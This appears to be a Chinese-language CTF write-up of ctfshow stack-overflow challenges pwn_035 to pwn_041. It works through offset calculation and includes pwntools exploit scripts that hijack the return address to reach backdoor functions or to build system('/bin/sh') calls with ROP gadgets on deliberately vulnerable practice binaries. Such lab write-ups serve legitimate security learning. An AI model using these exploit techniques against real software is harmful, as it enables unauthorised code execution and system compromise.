栈溢出

pwn_035

正式开始栈溢出了,先来一个最最最最简单的吧

首先使用checksec查保护:
alt text
32位程序,开启了堆栈不可执行保护。首先运行一下:
alt text
alt text
发现他会打开根目录下的文件,但是并不对其进行输出。这里使用ida进行反编译:
alt text
发现,程序读取/ctfshow_flag文件后存入flag变量中,但不打印,然后打印字符串,进入验证argv[1]的值,但是程序中并没有给定输入argv数组的功能,然后根据argv[1]的值输出不同的字符,其中,当argc >= 1时,会进入ctfshow函数中,进入观察:
alt text
发现使用strcpy函数将argv的值复制给dest变量中。
漏洞很明显,是由于strcpy函数未验证源字符串大小造成的栈溢出漏洞。这里的dest接收0x68大小的字符。
alt text
这里的dest相对ebp的偏移量为0x6c.
那么argv的值应该怎么控制呢,重新审计,发现原来该程序是通过命令行来接受参数的,这里给出chat的解释:
alt text
那么就好控制了,我们只需要输入大于0x6c的值即可造成栈溢出漏洞。但是造成栈溢出的目的是为了读取flag,程序中已经读取了flag,应该如何使其输出出来呢。重新审计发现:

1
2
fgets(flag, 64, stream);
signal(11, (__sighandler_t)sigsegv_handler);

这个函数没见过,给chat跑一下:
alt text
通过chat的解释以及菜鸟教程-signal函数,我们知道了,当该函数发生非法访问存储器,如访问不存在的内存单元时,就会调用sigsegv_handler函数,我们跟进该函数看一下:

1
2
3
4
5
6
void __noreturn sigsegv_handler()
{
fprintf(stderr, "%s\n", flag);
fflush(stderr);
exit(1);
}

他就会打印出flag。所以当我们造成栈溢出漏洞时,其实就相当于非法访问存储器,自然便会调用函数打印flag。所以我们只需要输出>0x6c个字节的内容即可获取flag。我们使用peda生成108字节的字符:
alt text
然后输入:
alt text
成功读取到本地flag。

pwn_036

存在后门函数,如何利用?
本地运行,并使用checksec查一下保护:
alt text
程序存在输入,并且栈可执行

1
2
3
4
5
6
7
8
Arch:       i386-32-little       ✅ 32位程序,EIP 只有4字节,易于控制
RELRO: Partial RELRO ✅ 没有完全保护 GOT,可以改 GOT
Stack: No canary found ✅ 栈上无金丝雀,可以自由溢出返回地址
NX: NX unknown ❓ 理论是栈不可执行,但实际 checksec 没识别出来
PIE: No PIE (0x8048000) ✅ 程序地址固定(无地址随机化),容易找函数地址
Stack: Executable ✅ 栈是可执行的!!可以直接打 shellcode
RWX: Has RWX segments ✅ 程序有可读写执行段,可能可以写入并跳转
Stripped: No ✅ 没有被 strip,可以直接看到符号(如 main、func 等)

接下来我们使用ida打开:
main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int __cdecl main(int argc, const char **argv, const char **envp)
{
setvbuf(stdout, 0, 2, 0);
puts(asc_804883C);
puts(asc_80488B0);
puts(asc_804892C);
puts(asc_80489B8);
puts(asc_8048A48);
puts(asc_8048ACC);
puts(asc_8048B60);
puts(" * ************************************* ");
puts(aClassifyCtfsho);
puts(" * Type : Stack_Overflow ");
puts(" * Site : https://ctf.show/ ");
puts(" * Hint : There are backdoor functions here! ");
puts(" * ************************************* ");
puts("Find and use it!");
puts("Enter what you want: ");
ctfshow(&argc);
return 0;
}

ctfshow函数:

1
2
3
4
5
6
char *ctfshow()
{
char s[36]; // [esp+0h] [ebp-28h] BYREF

return gets(s);
}

ctfshow函数中使用gets函数来读取s,标准的栈溢出漏洞。
alt text
我们将断点下在0x08048619
alt text
esp的地址为0xffffd550ebp的地址为0xffffd588s相对于ebp的索引为ebp+0x28,所以这里s相对ebp的偏移量为0x28
接着找到存在getflag函数:
alt text
地址为:0x08048586
所以我们的思路就是溢出到getflag函数处即可。
编写exp

1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python3

from pwn import *
sh = process("./pwn")

getflag_addr = 0x08048586

payload = b'a' * 0x28 + b'bbbb' + p32(getflag_addr)

sh.sendline(payload)
sh.interactive()

成功获取到flag:
alt text

pwn_037

32位的 system(“/bin/sh”) 后门函数给你

执行➕checksec:
alt text
开启了栈不可执行保护。放入ida中进行分析:
反编译后的main函数、logo函数以及ctfshow函数
alt text
alt text
alt text
发现漏洞点应该在ctfshow函数中,因为这里预定义的buf数组的大小为14,而read允许读入的字节大小为0x32 = 50,所以这里存在栈溢出漏洞。
继续分析,发现存在system后门函数backdor:
alt text
backdoor函数地址:0x08048521
接下来我们计算偏移,buf相对于ebp的偏移为0x12。就下来我们编写exp
alt text
alt text

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python3

from pwn import *

sh = process("./pwn")

backdoor_addr = 0x08048521

payload = b'a' * 0x12 + b'bbbb' + p32(backdoor_addr)

sh.sendline(payload)
sh.interactive()

成功拿到本地shell
alt text

pwn_038

64位的 system(“/bin/sh”) 后门函数给你

执行加checksec
alt text
与上题一样,输入然后推出,且仅开启了堆栈不可执行保护,不一样的是,本次的是64位程序。使用ida打开分析。
反编译,直接转到ctfshow函数中
alt text
read栈溢出漏洞。并且存在后门地址backdoor,地址0x0400657
alt text
计算偏移量为0x0a,这里需要注意的是,64位程序距离返回地址有8个字节。
alt text
注意,这里是64位程序,与32位程序不同的是,这里我们需要考虑到堆栈平衡的情况:
堆栈平衡:64位系统需要保持一个栈平衡,需要找栈lea的地址或者该函数结束即retn的地址,当我们在堆栈中进行堆栈的操作的时候,一定要保证在ret这条指令之前,esp指向的是我们压入栈中的地址,函数执行到ret执行之前,堆栈栈顶的地址一定要是call指令的下一条地址。
仿照上例,编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3

from pwn import *

sh = process("./pwn")

backdoor_addr = 0x0400657

payload = b'a' * 0x0a + b'b' * 0x08 + p64(0x040066D) + p64(backdoor_addr)

sh.sendline(payload)
sh.interactive()

alt text

pwn_039

运行+checksec,观察:
alt text
只开启堆栈不可执行保护,使用ida反编译,找到漏洞点
alt text
read函数的栈溢出漏洞,试寻找后门函数。在hint函数中找到system函数以及/bin/sh字符,但是并没有构成后门函数,所以我们这里需要构造system('/bin/sh')
alt text
找到/bin/sh的地址:
alt text
接下来我们找到system@plt的地址:
alt text
最后,我们需要计算可溢出字符串的偏移:
alt text
0x12 + 4
编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3

from pwn import *

sh = process('./pwn')

binsh_addr = 0x08048750
system_plt = 0x080483A0

payload = flat([ b'a' * 0x16, system_plt, b'b' * 4, binsh_addr ])

sh.sendline(payload)
sh.interactive()

pwn_040

运行+checksec,可以看到只开启了NX保护
alt text
IDA反编译查看
alt text
read函数存在溢出,且存在system函数,查找是否存在/bin/sh字符串
alt text
计算偏移:
alt text
偏移量为0x10
编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python3

from pwn import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")

bin_sh_addr = 0x00400808
system_plt = 0x0400520
pop_rdi_ret = 0x004007e3

payload = b'a' * (0x0A + 0x08) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(0x04004fe) + p64(system_plt)
sh.recvuntil(b'Just easy ret2text&&64bit\n')
sh.sendline(payload)
sh.interactive()

alt text

pwn_041

使用checksec查保护并运行,获得基本信息,32位程序,仅开启NX保护。
alt text
使用ida反编译
alt text
存在read函数栈溢出,并且存在system函数,但不存在/bin/sh字符。
alt text
原本准备在.bss段中写入/bin/sh\x00,来构造system('/bin/sh'),但是并没有找到可用的.bss段,继续审计代码,发现存在sh字符串。
alt text
这里不得不提/bin/shsh之间的区别:
alt text
sh是通过系统环境变量来启动一个名为sh的shell环境。而/bin/sh则是linux系统中默认的shell环境。
接下来计算偏移为0x12
alt text

编写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python3

from pwn import *

context.update(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

sh = process("./pwn")
elf = ELF("./pwn")

sh_addr = 0x080487BA
system = elf.sym['system']
pop_edi_addr = 0x0804878a

payload = b'a' * (0x12 + 0x04) + p32(system) + b'b' * 0x04 + p32(sh_addr)

sh.sendline(payload)
sh.interactive()

alt text